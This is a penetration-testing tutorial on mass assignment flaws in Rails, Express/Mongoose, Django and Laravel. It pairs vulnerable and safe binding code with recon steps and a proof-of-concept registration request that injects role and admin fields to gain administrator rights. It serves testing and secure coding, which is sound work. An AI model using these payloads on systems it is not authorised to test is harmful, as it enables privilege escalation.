Mass Assignment
Mass assignment is what happens when a framework auto-binds HTTP parameters to model attributes and the developer doesn't explicitly whitelist which attributes are allowed to be set. You register as a normal user and include role=admin in the request body. The framework happily assigns it. You're now an admin.
The name comes from Rails, but the pattern exists everywhere - Express/Mongoose, Django, Laravel, Spring. The underlying problem is convenience features that bind entire request bodies to data objects without filtering.
How It Works per Framework
Ruby on Rails
Classic Rails: User.new(params[:user]) or @user.update(params[:user]) - anything in the user params hash gets assigned.
Modern Rails requires params.require(:user).permit(:name, :email, :password) - anything not in permit() is stripped. The vulnerability exists when permit! (permits everything) is used, when the whitelist is too broad, or in old pre-4.0 code.
POST /register HTTP/1.1
Content-Type: application/json
{"user": {"name": "Attacker", "email": "x@x.com", "password": "pass", "role": "admin"}}Also test: is_admin, admin, verified, confirmed, plan, account_type.
Node.js / Express + Mongoose
Mongoose schemas define allowed fields, but req.body → document update without schema filtering is the hole:
// Vulnerable
User.findByIdAndUpdate(req.params.id, req.body);
// Safe
User.findByIdAndUpdate(req.params.id, {
name: req.body.name,
email: req.body.email
});Test by injecting fields that exist on the model but shouldn't be user-settable:
PUT /api/user/profile HTTP/1.1
{"name": "Attacker", "role": "admin", "isVerified": true, "subscription": "enterprise"}Django
Django REST Framework serializers with fields = '__all__' are the culprit:
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = '__all__' # <-- every model field is writableTest fields that exist on the User model: is_staff, is_superuser, groups, user_permissions.
Laravel / PHP
// Vulnerable
$user->fill($request->all());
// Protected
$user->fill($request->only(['name', 'email']));Also check $fillable vs $guarded model properties - $guarded = [] means nothing is protected.
Finding Hidden Parameters
The fields you can set aren't always visible in the UI or default request body. Find them by:
JS Bundle Analysis
Search minified JS for field names that correspond to model attributes:
# Download and search JS bundles
curl -s https://target.com/app.js | grep -oE '"[a-z_]+":\s*' | sort -u | head -50
# Look for: role, isAdmin, plan, verified, creditBalance, subscriptionTierAPI Documentation
If the app has Swagger/OpenAPI docs (/api/docs, /swagger.json, /openapi.yaml), check the schema definitions - they list every field on every model.
Response Analysis
The response to a GET request on your own profile shows you what fields the model has. Any field in the response that you can't set through the UI is a candidate for mass assignment:
GET /api/user/me
{
"id": 42,
"name": "Attacker",
"email": "x@x.com",
"role": "user", ← try setting this
"isVerified": false, ← try setting this
"plan": "free", ← try setting this
"createdAt": "..."
}Error Messages
Send unexpected fields and look at validation errors - some apps tell you which fields are valid:
POST /register
{"role": "admin"}
→ "role is not a permitted parameter" ← field exists but is guarded
→ 422 with field errors listing valid fieldsPoC: Registration to Admin
POST /api/auth/register HTTP/1.1
Content-Type: application/json
{
"name": "Test",
"email": "attacker@evil.com",
"password": "Password1!",
"role": "admin",
"isAdmin": true,
"is_staff": true,
"account_type": "admin",
"plan": "enterprise",
"isVerified": true
}Then log in and check your profile/permissions. Also try via profile update:
PUT /api/user/profile HTTP/1.1
Cookie: session=YOUR_SESSION
{"role": "admin"}Checklist
- Extract all user-related fields from GET /api/user/me response
- Search JS bundles for model field names
- Check API docs for schema definitions
- Test adding
role,is_admin,isAdmin,admin,plan,verified,isVerifiedto registration - Test the same fields on profile update endpoints
- Try nested objects:
{"user": {"role": "admin"}} - Check if array fields can be assigned:
{"groups": ["admin"]} - Look for
$guarded = []patterns in any exposed framework config